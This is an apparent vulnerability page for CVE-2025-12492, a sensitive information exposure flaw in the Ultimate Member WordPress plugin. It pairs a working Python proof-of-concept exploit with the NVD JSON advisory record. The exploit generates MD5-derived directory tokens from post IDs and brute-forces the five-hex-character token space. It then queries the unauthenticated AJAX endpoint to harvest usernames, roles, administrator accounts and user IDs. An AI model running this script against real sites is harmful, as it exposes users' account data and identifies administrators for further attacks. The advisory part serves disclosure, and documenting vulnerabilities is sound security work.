CVE-2025-12492

import hashlib import requests import itertools from concurrent.futures import ThreadPoolExecutor TARGET_URL = "https://vulnerable-site.com" AJAX_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php" def generate_token(post_id): """Generate directory token from post ID using MD5""" return hashlib.md5(str(post_id).encode()).hexdigest()[:5] def enumerate_users(token): """Extract user information from member directory""" params = { 'action': 'ajax_get_members', 'directory_id': token } try: response = requests.get(AJAX_ENDPOINT, params=params, timeout=10) if response.status_code == 200 and 'users' in response.text: return response.json() except: pass return None def brute_force_token(): """Brute force 5-character hex token space""" chars = '0123456789abcdef' for combo in itertools.product(chars, repeat=5): token = ''.join(combo) result = enumerate_users(token) if result: print(f"Found valid token: {token}") print(f"Users: {result}") return result return None def enumerate_post_ids(max_id=10000): """Enumerate possible directory tokens via post IDs""" for post_id in range(1, max_id): token = generate_token(post_id) result = enumerate_users(token) if result: print(f"Post ID {post_id} -> Token: {token}") print(f"Users: {result}") if __name__ == "__main__": print("CVE-2025-12492 PoC - Ultimate Member Info Disclosure") print("Method 1: Enumerate via post IDs") enumerate_post_ids() print("\nMethod 2: Brute force token space") brute_force_token()

{"cve": {"id": "CVE-2025-12492", "sourceIdentifier": "[email protected]", "published": "2025-12-20T09:15:54.857", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ultimate Member – User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.11.0 via the ajax_get_members function. This is due to the use of a predictable low-entropy token (5 hex characters derived from md5 of post ID) to identify member directories and insufficient authorization checks on the unauthenticated AJAX endpoint. This makes it possible for unauthenticated attackers to extract sensitive data including usernames, display names, user roles (including administrator accounts), profile URLs, and user IDs by enumerating predictable directory_id values or brute-forcing the small 16^5 token space."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ultimate-member/tags/2.10.6/includes/class-functions.php#L41", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ultimate-member/tags/2.10.6/includes/core/class-ajax-common.php#L61", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ultimate-member/tags/2.10.6/includes/core/class-member-directory.php#L205", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ultimate-member/tags/2.10.6/includes/core/class-member-directory.php#L2795", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ultimate-member/tags/2.10.6/templates/members.php#L26", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3421362%40ultimate-member%2Ftrunk&old=3408617%40ultimate-member%2Ftrunk&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/61337d2d-d15a-45f2-b730-fc034eb3cd31?source=cve", "source": "[email protected]"}]}}